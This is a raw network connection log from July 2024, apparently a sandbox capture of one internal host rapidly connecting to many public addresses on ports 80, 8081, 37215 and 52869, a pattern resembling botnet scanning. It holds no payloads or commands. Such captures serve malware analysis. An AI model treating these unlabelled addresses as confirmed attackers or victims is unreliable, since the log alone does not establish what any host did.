Jul 20, 2024 23:01:02.480696917 CEST	40818	80	192.168.2.13	88.58.241.41
Jul 20, 2024 23:01:02.480700970 CEST	33122	8081	192.168.2.13	46.39.191.49
Jul 20, 2024 23:01:02.480704069 CEST	37215	33990	46.91.29.61	192.168.2.13
Jul 20, 2024 23:01:02.480712891 CEST	8081	41446	210.14.86.159	192.168.2.13
Jul 20, 2024 23:01:02.480717897 CEST	80	57750	88.155.50.250	192.168.2.13
Jul 20, 2024 23:01:02.481697083 CEST	55304	80	192.168.2.13	88.87.72.63
Jul 20, 2024 23:01:02.481697083 CEST	55304	80	192.168.2.13	88.87.72.63
Jul 20, 2024 23:01:02.481950045 CEST	58952	37215	192.168.2.13	41.170.154.240
Jul 20, 2024 23:01:02.482187033 CEST	40030	52869	192.168.2.13	179.27.16.177
Jul 20, 2024 23:01:02.482340097 CEST	80	55242	88.108.216.48	192.168.2.13
Jul 20, 2024 23:01:02.482345104 CEST	37215	33042	197.218.185.44	192.168.2.13
Jul 20, 2024 23:01:02.482353926 CEST	52869	37352	13.5.180.251	192.168.2.13
Jul 20, 2024 23:01:02.482358932 CEST	8081	36188	211.52.133.239	192.168.2.13
Jul 20, 2024 23:01:02.482388973 CEST	33042	37215	192.168.2.13	197.218.185.44
Jul 20, 2024 23:01:02.483325958 CEST	36422	8081	192.168.2.13	131.169.220.199
Jul 20, 2024 23:01:02.483325958 CEST	36422	8081	192.168.2.13	131.169.220.199
Jul 20, 2024 23:01:02.483439922 CEST	80	55892	88.108.216.48	192.168.2.13
Jul 20, 2024 23:01:02.483488083 CEST	55892	80	192.168.2.13	88.108.216.48
Jul 20, 2024 23:01:02.483495951 CEST	37352	52869	192.168.2.13	13.5.180.251
Jul 20, 2024 23:01:02.483709097 CEST	8081	55738	132.112.127.230	192.168.2.13
Jul 20, 2024 23:01:02.484086037 CEST	52869	51742	9.155.213.68	192.168.2.13
Jul 20, 2024 23:01:02.484417915 CEST	55738	8081	192.168.2.13	132.112.127.230
Jul 20, 2024 23:01:02.484420061 CEST	51742	52869	192.168.2.13	9.155.213.68
Jul 20, 2024 23:01:02.484422922 CEST	33990	37215	192.168.2.13	46.91.29.61
Jul 20, 2024 23:01:02.484965086 CEST	55952	80	192.168.2.13	88.87.72.63
Jul 20, 2024 23:01:02.485275984 CEST	8081	37116	211.52.133.239	192.168.2.13
Jul 20, 2024 23:01:02.485528946 CEST	37116	8081	192.168.2.13	211.52.133.239
Jul 20, 2024 23:01:02.485729933 CEST	80	58408	88.155.50.250	192.168.2.13
Jul 20, 2024 23:01:02.485903025 CEST	8081	42358	210.14.86.159	192.168.2.13
Jul 20, 2024 23:01:02.486409903 CEST	52869	60378	219.0.14.247	192.168.2.13
Jul 20, 2024 23:01:02.486582041 CEST	37354	8081	192.168.2.13	131.169.220.199
Jul 20, 2024 23:01:02.487062931 CEST	80	55304	88.87.72.63	192.168.2.13
Jul 20, 2024 23:01:02.487611055 CEST	37215	58952	41.170.154.240	192.168.2.13
Jul 20, 2024 23:01:02.487616062 CEST	37215	48162	197.75.193.161	192.168.2.13
Jul 20, 2024 23:01:02.487658024 CEST	58952	37215	192.168.2.13	41.170.154.240
Jul 20, 2024 23:01:02.487783909 CEST	52869	40030	179.27.16.177	192.168.2.13
Jul 20, 2024 23:01:02.487814903 CEST	40030	52869	192.168.2.13	179.27.16.177
Jul 20, 2024 23:01:02.488358021 CEST	53966	52869	192.168.2.13	13.146.164.210
Jul 20, 2024 23:01:02.488410950 CEST	60378	52869	192.168.2.13	219.0.14.247
Jul 20, 2024 23:01:02.488415003 CEST	42358	8081	192.168.2.13	210.14.86.159
Jul 20, 2024 23:01:02.488506079 CEST	48162	37215	192.168.2.13	197.75.193.161
Jul 20, 2024 23:01:02.488517046 CEST	8081	36422	131.169.220.199	192.168.2.13
Jul 20, 2024 23:01:02.488557100 CEST	58408	80	192.168.2.13	88.155.50.250
Jul 20, 2024 23:01:02.489111900 CEST	80	40184	88.117.77.152	192.168.2.13
Jul 20, 2024 23:01:02.489257097 CEST	8081	43860	20.19.44.152	192.168.2.13
Jul 20, 2024 23:01:02.489881039 CEST	52869	44760	168.61.125.85	192.168.2.13
Jul 20, 2024 23:01:02.489885092 CEST	37215	34798	197.156.183.155	192.168.2.13
Jul 20, 2024 23:01:02.490891933 CEST	35054	80	192.168.2.13	88.184.119.151
Jul 20, 2024 23:01:02.490892887 CEST	35054	80	192.168.2.13	88.184.119.151
Jul 20, 2024 23:01:02.490892887 CEST	46242	37215	192.168.2.13	197.182.149.227
Jul 20, 2024 23:01:02.490902901 CEST	80	55952	88.87.72.63	192.168.2.13
Jul 20, 2024 23:01:02.490942001 CEST	55952	80	192.168.2.13	88.87.72.63
Jul 20, 2024 23:01:02.491695881 CEST	80	35458	88.112.100.222	192.168.2.13
Jul 20, 2024 23:01:02.491913080 CEST	8081	37354	131.169.220.199	192.168.2.13
Jul 20, 2024 23:01:02.491954088 CEST	37354	8081	192.168.2.13	131.169.220.199
Jul 20, 2024 23:01:02.492085934 CEST	56016	8081	192.168.2.13	123.135.78.85
Jul 20, 2024 23:01:02.492085934 CEST	56016	8081	192.168.2.13	123.135.78.85
Jul 20, 2024 23:01:02.492234945 CEST	52869	34174	223.227.5.114	192.168.2.13
Jul 20, 2024 23:01:02.492408037 CEST	34798	37215	192.168.2.13	197.156.183.155
Jul 20, 2024 23:01:02.492413998 CEST	43860	8081	192.168.2.13	20.19.44.152
Jul 20, 2024 23:01:02.492415905 CEST	44760	52869	192.168.2.13	168.61.125.85
Jul 20, 2024 23:01:02.492419004 CEST	35458	80	192.168.2.13	88.112.100.222
Jul 20, 2024 23:01:02.492427111 CEST	34174	52869	192.168.2.13	223.227.5.114
Jul 20, 2024 23:01:02.492846966 CEST	40184	80	192.168.2.13	88.117.77.152
Jul 20, 2024 23:01:02.493001938 CEST	80	39530	88.117.77.152	192.168.2.13
Jul 20, 2024 23:01:02.493011951 CEST	8081	42942	20.19.44.152	192.168.2.13
Jul 20, 2024 23:01:02.493160963 CEST	8081	37842	47.19.229.1	192.168.2.13
Jul 20, 2024 23:01:02.493535042 CEST	52869	53966	13.146.164.210	192.168.2.13
Jul 20, 2024 23:01:02.493576050 CEST	53966	52869	192.168.2.13	13.146.164.210
Jul 20, 2024 23:01:02.494028091 CEST	37215	37016	197.123.108.99	192.168.2.13
Jul 20, 2024 23:01:02.494577885 CEST	52869	57656	138.96.171.141	192.168.2.13
Jul 20, 2024 23:01:02.494582891 CEST	80	52090	88.207.100.111	192.168.2.13
Jul 20, 2024 23:01:02.495193005 CEST	8081	59406	217.241.134.162	192.168.2.13
Jul 20, 2024 23:01:02.495455027 CEST	37215	42176	157.12.16.61	192.168.2.13
Jul 20, 2024 23:01:02.495670080 CEST	35702	80	192.168.2.13	88.184.119.151
Jul 20, 2024 23:01:02.495968103 CEST	52869	33516	117.76.117.93	192.168.2.13
Jul 20, 2024 23:01:02.496109962 CEST	80	35054	88.184.119.151	192.168.2.13
Jul 20, 2024 23:01:02.496408939 CEST	37842	8081	192.168.2.13	47.19.229.1
Jul 20, 2024 23:01:02.496417046 CEST	42176	37215	192.168.2.13	157.12.16.61
Jul 20, 2024 23:01:02.496417999 CEST	33516	52869	192.168.2.13	117.76.117.93
Jul 20, 2024 23:01:02.496431112 CEST	59406	8081	192.168.2.13	217.241.134.162
Jul 20, 2024 23:01:02.496432066 CEST	57656	52869	192.168.2.13	138.96.171.141
Jul 20, 2024 23:01:02.496543884 CEST	80	40818	88.58.241.41	192.168.2.13
Jul 20, 2024 23:01:02.496828079 CEST	8081	36922	47.19.229.1	192.168.2.13
Jul 20, 2024 23:01:02.496838093 CEST	80	34808	88.112.100.222	192.168.2.13
Jul 20, 2024 23:01:02.496880054 CEST	52090	80	192.168.2.13	88.207.100.111
Jul 20, 2024 23:01:02.496880054 CEST	37016	37215	192.168.2.13	197.123.108.99
Jul 20, 2024 23:01:02.497157097 CEST	8081	33122	46.39.191.49	192.168.2.13
Jul 20, 2024 23:01:02.497162104 CEST	37215	46242	197.182.149.227	192.168.2.13
Jul 20, 2024 23:01:02.497170925 CEST	37215	33042	197.218.185.44	192.168.2.13
Jul 20, 2024 23:01:02.497320890 CEST	80	55892	88.108.216.48	192.168.2.13
Jul 20, 2024 23:01:02.497522116 CEST	8081	56016	123.135.78.85	192.168.2.13
Jul 20, 2024 23:01:02.497781992 CEST	52869	37352	13.5.180.251	192.168.2.13
Jul 20, 2024 23:01:02.498284101 CEST	8081	37116	211.52.133.239	192.168.2.13
Jul 20, 2024 23:01:02.498857975 CEST	37215	58952	41.170.154.240	192.168.2.13
Jul 20, 2024 23:01:02.499229908 CEST	52869	40030	179.27.16.177	192.168.2.13
Jul 20, 2024 23:01:02.499243021 CEST	80	55952	88.87.72.63	192.168.2.13
Jul 20, 2024 23:01:02.499583006 CEST	46242	37215	192.168.2.13	197.182.149.227
Jul 20, 2024 23:01:02.500030994 CEST	8081	37354	131.169.220.199	192.168.2.13
Jul 20, 2024 23:01:02.500058889 CEST	52869	53966	13.146.164.210	192.168.2.13
Jul 20, 2024 23:01:02.500176907 CEST	56950	8081	192.168.2.13	123.135.78.85
Jul 20, 2024 23:01:02.500412941 CEST	55952	80	192.168.2.13	88.87.72.63
Jul 20, 2024 23:01:02.500412941 CEST	53966	52869	192.168.2.13	13.146.164.210
Jul 20, 2024 23:01:02.500435114 CEST	40030	52869	192.168.2.13	179.27.16.177
Jul 20, 2024 23:01:02.500441074 CEST	37354	8081	192.168.2.13	131.169.220.199
Jul 20, 2024 23:01:02.500452042 CEST	40818	80	192.168.2.13	88.58.241.41
Jul 20, 2024 23:01:02.500602961 CEST	37352	52869	192.168.2.13	13.5.180.251
Jul 20, 2024 23:01:02.500701904 CEST	37116	8081	192.168.2.13	211.52.133.239
Jul 20, 2024 23:01:02.501002073 CEST	80	35702	88.184.119.151	192.168.2.13
Jul 20, 2024 23:01:02.501147985 CEST	58952	37215	192.168.2.13	41.170.154.240
Jul 20, 2024 23:01:02.501147985 CEST	33042	37215	192.168.2.13	197.218.185.44
Jul 20, 2024 23:01:02.501147985 CEST	55892	80	192.168.2.13	88.108.216.48
Jul 20, 2024 23:01:02.501147985 CEST	33122	8081	192.168.2.13	46.39.191.49
Jul 20, 2024 23:01:02.502327919 CEST	58456	52869	192.168.2.13	39.240.110.128
Jul 20, 2024 23:01:02.502428055 CEST	35702	80	192.168.2.13	88.184.119.151
Jul 20, 2024 23:01:02.503026962 CEST	33598	80	192.168.2.13	88.92.241.198
Jul 20, 2024 23:01:02.503226042 CEST	41094	37215	192.168.2.13	197.243.107.118
Jul 20, 2024 23:01:02.503825903 CEST	33598	80	192.168.2.13	88.92.241.198
Jul 20, 2024 23:01:02.504189014 CEST	44796	8081	192.168.2.13	14.18.87.181
Jul 20, 2024 23:01:02.504189014 CEST	44796	8081	192.168.2.13	14.18.87.181
Jul 20, 2024 23:01:02.506262064 CEST	37215	46242	197.182.149.227	192.168.2.13
Jul 20, 2024 23:01:02.506272078 CEST	8081	56950	123.135.78.85	192.168.2.13
Jul 20, 2024 23:01:02.506688118 CEST	56950	8081	192.168.2.13	123.135.78.85
Jul 20, 2024 23:01:02.506688118 CEST	34244	80	192.168.2.13	88.92.241.198
Jul 20, 2024 23:01:02.507545948 CEST	45734	8081	192.168.2.13	14.18.87.181
Jul 20, 2024 23:01:02.507714987 CEST	52869	58456	39.240.110.128	192.168.2.13
Jul 20, 2024 23:01:02.507909060 CEST	58456	52869	192.168.2.13	39.240.110.128
Jul 20, 2024 23:01:02.508326054 CEST	80	35702	88.184.119.151	192.168.2.13
Jul 20, 2024 23:01:02.508843899 CEST	37215	41094	197.243.107.118	192.168.2.13
Jul 20, 2024 23:01:02.508909941 CEST	48938	52869	192.168.2.13	82.166.201.81
Jul 20, 2024 23:01:02.508928061 CEST	41094	37215	192.168.2.13	197.243.107.118
Jul 20, 2024 23:01:02.509021997 CEST	80	33598	88.92.241.198	192.168.2.13
Jul 20, 2024 23:01:02.509201050 CEST	80	33598	88.92.241.198	192.168.2.13
Jul 20, 2024 23:01:02.509661913 CEST	8081	44796	14.18.87.181	192.168.2.13
Jul 20, 2024 23:01:02.509910107 CEST	57876	80	192.168.2.13	88.120.8.20
Jul 20, 2024 23:01:02.509910107 CEST	57876	80	192.168.2.13	88.120.8.20
Jul 20, 2024 23:01:02.510201931 CEST	49892	37215	192.168.2.13	159.11.170.80
Jul 20, 2024 23:01:02.511445045 CEST	60122	8081	192.168.2.13	12.120.192.163
Jul 20, 2024 23:01:02.511445045 CEST	60122	8081	192.168.2.13	12.120.192.163
Jul 20, 2024 23:01:02.512428999 CEST	46242	37215	192.168.2.13	197.182.149.227
Jul 20, 2024 23:01:02.512511015 CEST	80	34244	88.92.241.198	192.168.2.13
Jul 20, 2024 23:01:02.512737036 CEST	34244	80	192.168.2.13	88.92.241.198
Jul 20, 2024 23:01:02.512748003 CEST	8081	58482	217.241.134.162	192.168.2.13
Jul 20, 2024 23:01:02.512752056 CEST	80	51438	88.207.100.111	192.168.2.13
Jul 20, 2024 23:01:02.513072968 CEST	35702	80	192.168.2.13	88.184.119.151
Jul 20, 2024 23:01:02.513215065 CEST	8081	45734	14.18.87.181	192.168.2.13
Jul 20, 2024 23:01:02.513223886 CEST	8081	56950	123.135.78.85	192.168.2.13
Jul 20, 2024 23:01:02.513252020 CEST	45734	8081	192.168.2.13	14.18.87.181
Jul 20, 2024 23:01:02.513473988 CEST	58520	80	192.168.2.13	88.120.8.20
Jul 20, 2024 23:01:02.513916969 CEST	52869	58456	39.240.110.128	192.168.2.13
Jul 20, 2024 23:01:02.514314890 CEST	52869	48938	82.166.201.81	192.168.2.13
Jul 20, 2024 23:01:02.514362097 CEST	48938	52869	192.168.2.13	82.166.201.81
Jul 20, 2024 23:01:02.514416933 CEST	43130	52869	192.168.2.13	141.36.128.134
Jul 20, 2024 23:01:02.514578104 CEST	37215	41094	197.243.107.118	192.168.2.13
Jul 20, 2024 23:01:02.514858007 CEST	32832	8081	192.168.2.13	12.120.192.163
Jul 20, 2024 23:01:02.515335083 CEST	80	57876	88.120.8.20	192.168.2.13
Jul 20, 2024 23:01:02.515341043 CEST	37215	49892	159.11.170.80	192.168.2.13
Jul 20, 2024 23:01:02.515429020 CEST	49892	37215	192.168.2.13	159.11.170.80
Jul 20, 2024 23:01:02.516417027 CEST	58456	52869	192.168.2.13	39.240.110.128
Jul 20, 2024 23:01:02.516417027 CEST	56950	8081	192.168.2.13	123.135.78.85
Jul 20, 2024 23:01:02.516444921 CEST	41094	37215	192.168.2.13	197.243.107.118
Jul 20, 2024 23:01:02.516844034 CEST	8081	60428	46.39.191.49	192.168.2.13
Jul 20, 2024 23:01:02.516849041 CEST	80	40168	88.58.241.41	192.168.2.13
Jul 20, 2024 23:01:02.516863108 CEST	8081	60122	12.120.192.163	192.168.2.13
Jul 20, 2024 23:01:02.516874075 CEST	43430	80	192.168.2.13	88.2.59.118
Jul 20, 2024 23:01:02.516876936 CEST	43546	80	192.168.2.13	88.129.108.32
Jul 20, 2024 23:01:02.516956091 CEST	34154	80	192.168.2.13	88.180.99.105
Jul 20, 2024 23:01:02.516956091 CEST	34652	80	192.168.2.13	88.194.165.251
Jul 20, 2024 23:01:02.516956091 CEST	59498	80	192.168.2.13	88.196.158.1
Jul 20, 2024 23:01:02.516983986 CEST	52664	80	192.168.2.13	88.74.83.5
Jul 20, 2024 23:01:02.516983986 CEST	43862	80	192.168.2.13	88.212.216.208
Jul 20, 2024 23:01:02.516983986 CEST	57768	80	192.168.2.13	88.165.239.52
Jul 20, 2024 23:01:02.516983986 CEST	57936	80	192.168.2.13	88.155.246.34
Jul 20, 2024 23:01:02.516983986 CEST	51016	80	192.168.2.13	88.201.141.17
Jul 20, 2024 23:01:02.517015934 CEST	38398	80	192.168.2.13	88.73.253.215
Jul 20, 2024 23:01:02.517015934 CEST	58700	80	192.168.2.13	88.28.77.235
Jul 20, 2024 23:01:02.517015934 CEST	45336	80	192.168.2.13	88.244.245.204
Jul 20, 2024 23:01:02.517075062 CEST	40636	80	192.168.2.13	88.221.77.78
Jul 20, 2024 23:01:02.517190933 CEST	55314	37215	192.168.2.13	197.75.142.184
Jul 20, 2024 23:01:02.517190933 CEST	57850	80	192.168.2.13	88.208.93.106
Jul 20, 2024 23:01:02.517190933 CEST	48198	80	192.168.2.13	88.131.43.170
Jul 20, 2024 23:01:02.517190933 CEST	59880	80	192.168.2.13	88.9.113.163
Jul 20, 2024 23:01:02.517190933 CEST	42146	80	192.168.2.13	88.92.246.25
Jul 20, 2024 23:01:02.517330885 CEST	57834	80	192.168.2.13	88.251.60.32
Jul 20, 2024 23:01:02.517330885 CEST	38284	80	192.168.2.13	88.150.117.231
Jul 20, 2024 23:01:02.517330885 CEST	57476	80	192.168.2.13	88.80.198.142
Jul 20, 2024 23:01:02.517330885 CEST	37530	80	192.168.2.13	88.191.85.56
Jul 20, 2024 23:01:02.517330885 CEST	59698	80	192.168.2.13	88.104.112.235
Jul 20, 2024 23:01:02.517330885 CEST	51416	80	192.168.2.13	88.66.90.171
Jul 20, 2024 23:01:02.517518997 CEST	51276	80	192.168.2.13	88.65.22.95
Jul 20, 2024 23:01:02.517518997 CEST	39388	80	192.168.2.13	88.92.108.28
Jul 20, 2024 23:01:02.517518997 CEST	58526	80	192.168.2.13	88.211.132.181
Jul 20, 2024 23:01:02.517518997 CEST	38148	80	192.168.2.13	88.56.164.111
Jul 20, 2024 23:01:02.517518997 CEST	33386	80	192.168.2.13	88.14.202.89
Jul 20, 2024 23:01:02.517518997 CEST	48796	80	192.168.2.13	88.76.253.23
Jul 20, 2024 23:01:02.517518997 CEST	47460	80	192.168.2.13	88.187.137.243
Jul 20, 2024 23:01:02.517519951 CEST	40854	80	192.168.2.13	88.38.136.61
Jul 20, 2024 23:01:02.518229961 CEST	45314	80	192.168.2.13	88.62.154.187
Jul 20, 2024 23:01:02.518229961 CEST	58988	80	192.168.2.13	88.193.151.195
Jul 20, 2024 23:01:02.518229961 CEST	46082	80	192.168.2.13	88.204.243.130
Jul 20, 2024 23:01:02.518229961 CEST	52090	80	192.168.2.13	88.207.100.111
Jul 20, 2024 23:01:02.518229961 CEST	55952	80	192.168.2.13	88.87.72.63
Jul 20, 2024 23:01:02.518229961 CEST	35702	80	192.168.2.13	88.184.119.151
Jul 20, 2024 23:01:02.518229961 CEST	50568	80	192.168.2.13	95.149.90.135
Jul 20, 2024 23:01:02.518229961 CEST	50568	80	192.168.2.13	95.250.227.110
Jul 20, 2024 23:01:02.518809080 CEST	80	34244	88.92.241.198	192.168.2.13
Jul 20, 2024 23:01:02.518887997 CEST	80	58520	88.120.8.20	192.168.2.13
Jul 20, 2024 23:01:02.519015074 CEST	8081	45734	14.18.87.181	192.168.2.13
Jul 20, 2024 23:01:02.519085884 CEST	47042	80	192.168.2.13	88.191.61.195
Jul 20, 2024 23:01:02.519085884 CEST	40074	80	192.168.2.13	88.96.232.196
Jul 20, 2024 23:01:02.519085884 CEST	37538	80	192.168.2.13	88.127.52.38
Jul 20, 2024 23:01:02.519085884 CEST	48902	80	192.168.2.13	88.50.196.253
Jul 20, 2024 23:01:02.519085884 CEST	52292	80	192.168.2.13	88.209.159.72
Jul 20, 2024 23:01:02.519085884 CEST	50568	80	192.168.2.13	95.218.87.31
Jul 20, 2024 23:01:02.519085884 CEST	50568	80	192.168.2.13	95.18.111.29
Jul 20, 2024 23:01:02.519085884 CEST	50568	80	192.168.2.13	95.164.169.136
Jul 20, 2024 23:01:02.519593000 CEST	52869	48938	82.166.201.81	192.168.2.13
Jul 20, 2024 23:01:02.519959927 CEST	52869	43130	141.36.128.134	192.168.2.13
Jul 20, 2024 23:01:02.519975901 CEST	8081	32832	12.120.192.163	192.168.2.13
Jul 20, 2024 23:01:02.520112038 CEST	51832	80	192.168.2.13	88.155.204.21
Jul 20, 2024 23:01:02.520112038 CEST	50844	80	192.168.2.13	88.191.187.105
Jul 20, 2024 23:01:02.520112038 CEST	41172	80	192.168.2.13	88.26.20.160
Jul 20, 2024 23:01:02.520112038 CEST	43742	80	192.168.2.13	88.211.58.217
Jul 20, 2024 23:01:02.520112038 CEST	53150	80	192.168.2.13	88.223.235.110
Jul 20, 2024 23:01:02.520864010 CEST	37215	49892	159.11.170.80	192.168.2.13
Jul 20, 2024 23:01:02.521090031 CEST	46196	80	192.168.2.13	88.207.154.173
Jul 20, 2024 23:01:02.521090031 CEST	60674	80	192.168.2.13	88.149.54.132
Jul 20, 2024 23:01:02.521090031 CEST	44874	80	192.168.2.13	88.82.169.115
Jul 20, 2024 23:01:02.521090031 CEST	39202	80	192.168.2.13	88.127.108.167
Jul 20, 2024 23:01:02.521090031 CEST	55700	80	192.168.2.13	88.235.101.168
Jul 20, 2024 23:01:02.521090031 CEST	58562	80	192.168.2.13	88.53.65.5
Jul 20, 2024 23:01:02.521090031 CEST	45048	80	192.168.2.13	88.120.148.226
Jul 20, 2024 23:01:02.521090031 CEST	54622	80	192.168.2.13	88.41.172.45
Jul 20, 2024 23:01:02.522425890 CEST	57634	80	192.168.2.13	88.95.77.252
Jul 20, 2024 23:01:02.522425890 CEST	33664	80	192.168.2.13	88.254.193.19
Jul 20, 2024 23:01:02.522425890 CEST	58706	80	192.168.2.13	88.70.58.249
Jul 20, 2024 23:01:02.522425890 CEST	60128	80	192.168.2.13	88.22.209.232
Jul 20, 2024 23:01:02.522425890 CEST	38382	80	192.168.2.13	88.55.82.184
Jul 20, 2024 23:01:02.522425890 CEST	53662	80	192.168.2.13	88.224.81.194
Jul 20, 2024 23:01:02.522425890 CEST	53014	80	192.168.2.13	88.148.160.40
Jul 20, 2024 23:01:02.522425890 CEST	50568	80	192.168.2.13	95.250.83.245
Jul 20, 2024 23:01:02.522715092 CEST	50568	80	192.168.2.13	95.25.43.241
Jul 20, 2024 23:01:02.522715092 CEST	50568	80	192.168.2.13	95.36.133.235
Jul 20, 2024 23:01:02.522715092 CEST	50568	80	192.168.2.13	95.132.44.41
Jul 20, 2024 23:01:02.522715092 CEST	50568	80	192.168.2.13	95.153.18.182
Jul 20, 2024 23:01:02.522715092 CEST	50568	80	192.168.2.13	95.41.164.154
Jul 20, 2024 23:01:02.522715092 CEST	50568	80	192.168.2.13	95.6.129.101
Jul 20, 2024 23:01:02.522715092 CEST	50568	80	192.168.2.13	95.203.151.32
Jul 20, 2024 23:01:02.522715092 CEST	50568	80	192.168.2.13	95.133.116.186
Jul 20, 2024 23:01:02.523210049 CEST	80	43546	88.129.108.32	192.168.2.13
Jul 20, 2024 23:01:02.523215055 CEST	80	38398	88.73.253.215	192.168.2.13
Jul 20, 2024 23:01:02.523225069 CEST	80	51276	88.65.22.95	192.168.2.13
Jul 20, 2024 23:01:02.523226976 CEST	34470	80	192.168.2.13	88.124.176.110
Jul 20, 2024 23:01:02.523226976 CEST	57328	80	192.168.2.13	88.134.250.2
Jul 20, 2024 23:01:02.523226976 CEST	47250	80	192.168.2.13	88.165.214.168
Jul 20, 2024 23:01:02.523226976 CEST	39042	80	192.168.2.13	88.169.191.113
Jul 20, 2024 23:01:02.523226976 CEST	50588	80	192.168.2.13	88.2.182.131
Jul 20, 2024 23:01:02.523226976 CEST	51966	80	192.168.2.13	88.198.199.244
Jul 20, 2024 23:01:02.523226976 CEST	47842	80	192.168.2.13	88.26.16.3
Jul 20, 2024 23:01:02.523230076 CEST	80	34154	88.180.99.105	192.168.2.13
Jul 20, 2024 23:01:02.523226976 CEST	50568	80	192.168.2.13	95.215.120.164
Jul 20, 2024 23:01:02.523400068 CEST	80	52664	88.74.83.5	192.168.2.13
Jul 20, 2024 23:01:02.523762941 CEST	80	40636	88.221.77.78	192.168.2.13
Jul 20, 2024 23:01:02.523766994 CEST	80	43862	88.212.216.208	192.168.2.13
Jul 20, 2024 23:01:02.523776054 CEST	37215	55314	197.75.142.184	192.168.2.13
Jul 20, 2024 23:01:02.523781061 CEST	80	58700	88.28.77.235	192.168.2.13
Jul 20, 2024 23:01:02.523937941 CEST	80	34652	88.194.165.251	192.168.2.13
Jul 20, 2024 23:01:02.523941994 CEST	80	57850	88.208.93.106	192.168.2.13
Jul 20, 2024 23:01:02.524166107 CEST	80	43430	88.2.59.118	192.168.2.13
Jul 20, 2024 23:01:02.524171114 CEST	80	45314	88.62.154.187	192.168.2.13
Jul 20, 2024 23:01:02.524640083 CEST	80	47042	88.191.61.195	192.168.2.13
Jul 20, 2024 23:01:02.524643898 CEST	80	58988	88.193.151.195	192.168.2.13
Jul 20, 2024 23:01:02.524653912 CEST	80	57834	88.251.60.32	192.168.2.13
Jul 20, 2024 23:01:02.524771929 CEST	51004	80	192.168.2.13	88.106.209.195
Jul 20, 2024 23:01:02.524771929 CEST	40818	80	192.168.2.13	88.58.241.41
Jul 20, 2024 23:01:02.524771929 CEST	50568	80	192.168.2.13	95.205.66.29
Jul 20, 2024 23:01:02.524771929 CEST	50568	80	192.168.2.13	95.63.99.227
Jul 20, 2024 23:01:02.524771929 CEST	50568	80	192.168.2.13	95.23.2.223
Jul 20, 2024 23:01:02.524771929 CEST	50568	80	192.168.2.13	95.32.184.232
Jul 20, 2024 23:01:02.524771929 CEST	50568	80	192.168.2.13	95.183.170.210
Jul 20, 2024 23:01:02.524771929 CEST	50568	80	192.168.2.13	95.14.216.95
Jul 20, 2024 23:01:02.524864912 CEST	80	57768	88.165.239.52	192.168.2.13
Jul 20, 2024 23:01:02.524879932 CEST	56288	80	192.168.2.13	88.78.240.0
Jul 20, 2024 23:01:02.524879932 CEST	41588	80	192.168.2.13	88.33.168.179
Jul 20, 2024 23:01:02.524879932 CEST	39960	80	192.168.2.13	88.133.110.144
Jul 20, 2024 23:01:02.524879932 CEST	50568	80	192.168.2.13	95.13.99.248
Jul 20, 2024 23:01:02.524879932 CEST	50568	80	192.168.2.13	95.38.31.185
Jul 20, 2024 23:01:02.524879932 CEST	50568	80	192.168.2.13	95.141.0.141
Jul 20, 2024 23:01:02.524879932 CEST	50568	80	192.168.2.13	95.247.7.72
Jul 20, 2024 23:01:02.524879932 CEST	50568	80	192.168.2.13	95.112.207.235
Jul 20, 2024 23:01:02.524883032 CEST	8081	36188	211.52.133.239	192.168.2.13
Jul 20, 2024 23:01:02.524890900 CEST	80	55242	88.108.216.48	192.168.2.13
Jul 20, 2024 23:01:02.524894953 CEST	80	40074	88.96.232.196	192.168.2.13
Jul 20, 2024 23:01:02.525109053 CEST	80	57936	88.155.246.34	192.168.2.13
Jul 20, 2024 23:01:02.525437117 CEST	50568	80	192.168.2.13	95.207.131.192
Jul 20, 2024 23:01:02.525437117 CEST	50568	80	192.168.2.13	95.146.20.10
Jul 20, 2024 23:01:02.525437117 CEST	50568	80	192.168.2.13	95.176.74.83
Jul 20, 2024 23:01:02.525438070 CEST	50568	80	192.168.2.13	95.22.187.73
Jul 20, 2024 23:01:02.525438070 CEST	50568	80	192.168.2.13	95.218.112.10
Jul 20, 2024 23:01:02.525438070 CEST	50568	80	192.168.2.13	95.223.80.245
Jul 20, 2024 23:01:02.525438070 CEST	50568	80	192.168.2.13	95.192.17.109
Jul 20, 2024 23:01:02.525438070 CEST	50568	80	192.168.2.13	95.73.230.232
Jul 20, 2024 23:01:02.525454998 CEST	80	48198	88.131.43.170	192.168.2.13
Jul 20, 2024 23:01:02.525460005 CEST	80	51016	88.201.141.17	192.168.2.13
Jul 20, 2024 23:01:02.525469065 CEST	80	38284	88.150.117.231	192.168.2.13
Jul 20, 2024 23:01:02.525474072 CEST	80	59880	88.9.113.163	192.168.2.13
Jul 20, 2024 23:01:02.525482893 CEST	80	37538	88.127.52.38	192.168.2.13
Jul 20, 2024 23:01:02.526308060 CEST	80	57476	88.80.198.142	192.168.2.13
Jul 20, 2024 23:01:02.526313066 CEST	80	48902	88.50.196.253	192.168.2.13
Jul 20, 2024 23:01:02.526321888 CEST	80	46082	88.204.243.130	192.168.2.13
Jul 20, 2024 23:01:02.526726007 CEST	80	59498	88.196.158.1	192.168.2.13
Jul 20, 2024 23:01:02.526730061 CEST	80	52090	88.207.100.111	192.168.2.13
Jul 20, 2024 23:01:02.526735067 CEST	80	51832	88.155.204.21	192.168.2.13
Jul 20, 2024 23:01:02.526854992 CEST	80	55952	88.87.72.63	192.168.2.13
Jul 20, 2024 23:01:02.526859999 CEST	80	50844	88.191.187.105	192.168.2.13
Jul 20, 2024 23:01:02.526868105 CEST	80	52292	88.209.159.72	192.168.2.13
Jul 20, 2024 23:01:02.527456045 CEST	80	35702	88.184.119.151	192.168.2.13
Jul 20, 2024 23:01:02.527646065 CEST	80	41172	88.26.20.160	192.168.2.13
Jul 20, 2024 23:01:02.527650118 CEST	80	50568	95.149.90.135	192.168.2.13
Jul 20, 2024 23:01:02.527658939 CEST	80	37530	88.191.85.56	192.168.2.13
Jul 20, 2024 23:01:02.527817965 CEST	80	43742	88.211.58.217	192.168.2.13
Jul 20, 2024 23:01:02.528403044 CEST	80	42146	88.92.246.25	192.168.2.13
Jul 20, 2024 23:01:02.528408051 CEST	80	50568	95.218.87.31	192.168.2.13
Jul 20, 2024 23:01:02.528415918 CEST	80	50568	95.250.227.110	192.168.2.13
Jul 20, 2024 23:01:02.528420925 CEST	80	39388	88.92.108.28	192.168.2.13
Jul 20, 2024 23:01:02.528429985 CEST	80	46196	88.207.154.173	192.168.2.13
Jul 20, 2024 23:01:02.528434992 CEST	80	45336	88.244.245.204	192.168.2.13
Jul 20, 2024 23:01:02.528443098 CEST	80	58526	88.211.132.181	192.168.2.13
Jul 20, 2024 23:01:02.528448105 CEST	80	60674	88.149.54.132	192.168.2.13
Jul 20, 2024 23:01:02.528594017 CEST	80	57634	88.95.77.252	192.168.2.13
